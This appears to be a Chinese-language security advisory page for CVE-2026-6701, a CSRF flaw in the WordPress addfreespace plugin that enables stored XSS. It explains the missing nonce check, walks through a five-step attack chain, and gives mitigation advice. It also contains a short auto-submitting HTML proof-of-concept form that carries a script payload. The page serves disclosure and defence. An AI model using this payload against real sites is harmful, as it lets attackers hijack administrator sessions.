CVE-2026-6701 CVSS 4.3 中危

CVE-2026-6701 WordPress插件CSRF漏洞

披露日期: 2026-05-05

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-6701

漏洞类型

跨站请求伪造 (CSRF)

CVSS评分

4.3 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

WordPress addfreespace 插件

漏洞概述

WordPress插件addfreespace在0.1.3及以下版本中存在跨站请求伪造（CSRF）漏洞。该漏洞源于相关函数缺少必要的nonce验证机制，使得未经过身份验证的攻击者能够通过诱导站点管理员点击特制的恶意链接，利用管理员的权限伪造请求。成功利用该漏洞可导致插件设置被篡改，并在系统中注入恶意Web脚本，造成存储型跨站脚本攻击风险。

技术细节

该漏洞的技术根源在于WordPress插件addfreespace在处理设置更新功能时，未实现或错误实现了nonce（一次性令牌）验证机制。在WordPress生态系统中，nonce是防止CSRF攻击的关键安全控件。通过分析源代码（如addfreespace.php及addfreespace_functions.php），发现处理敏感操作的函数直接接收用户输入并更新数据库选项，未验证请求是否由合法的用户操作发起。攻击者利用此缺陷，可以精心设计一个包含隐藏表单的恶意网页，该表单的目标地址指向插件设置接口，并携带用于注入恶意脚本的参数。一旦拥有管理员权限的用户在浏览器保持登录状态时访问此页面，浏览器将自动携带会话Cookie发送请求。由于服务器端缺乏nonce校验，请求被视为有效，导致恶意脚本被持久化存储在插件设置中，进而触发存储型XSS攻击，允许攻击者接管管理员会话。

攻击链分析

STEP 1

侦察

攻击者确认目标网站使用的是WordPress，并安装了存在漏洞的addfreespace插件（版本<=0.1.3）。

STEP 2

构造载荷

攻击者编写一个恶意的HTML页面，其中包含一个指向插件设置更新接口的隐藏表单，表单中填入用于注入恶意脚本的参数。

STEP 3

社会工程学

攻击者通过电子邮件或即时通讯工具，将恶意页面的链接发送给目标网站的管理员，诱导其点击。

STEP 4

利用漏洞

管理员在登录状态下访问链接，浏览器自动携带Cookie向服务器发送POST请求。由于服务器端缺少nonce验证，请求被接受并执行设置更新。

STEP 5

执行攻击

恶意脚本被保存到数据库中，当管理员或其他用户访问受影响的页面时，脚本将在浏览器中执行，导致XSS攻击。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- Proof of Concept for CVE-2026-6701 -->
<!-- This HTML page demonstrates the CSRF vulnerability by auto-submitting a form to update plugin settings. -->
<html>
  <body>
    <!-- The action URL should point to the vulnerable admin page, typically /wp-admin/admin.php or similar -->
    <form action="http://target-site/wp-admin/admin.php?page=addfreespace_settings" method="POST">
      <!-- Input fields correspond to vulnerable settings lacking nonce checks -->
      <input type="hidden" name="option_name" value="malicious_value"><script>alert('CVE-2026-6701');</script>" />
      <input type="hidden" name="action" value="update" />
      <input type="submit" value="Submit Request" />
    </form>
    <script>
      // Automatically submit the form when the victim loads the page
      document.forms[0].submit();
    </script>
  </body>
</html>

影响范围

addfreespace <= 0.1.3

防御指南

临时缓解措施

建议立即升级插件至最新版本。若暂时无法升级，应禁用该插件以阻断攻击面。此外，建议管理员在完成后台管理操作后及时登出，避免在浏览外部网页时保持WordPress的登录会话。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表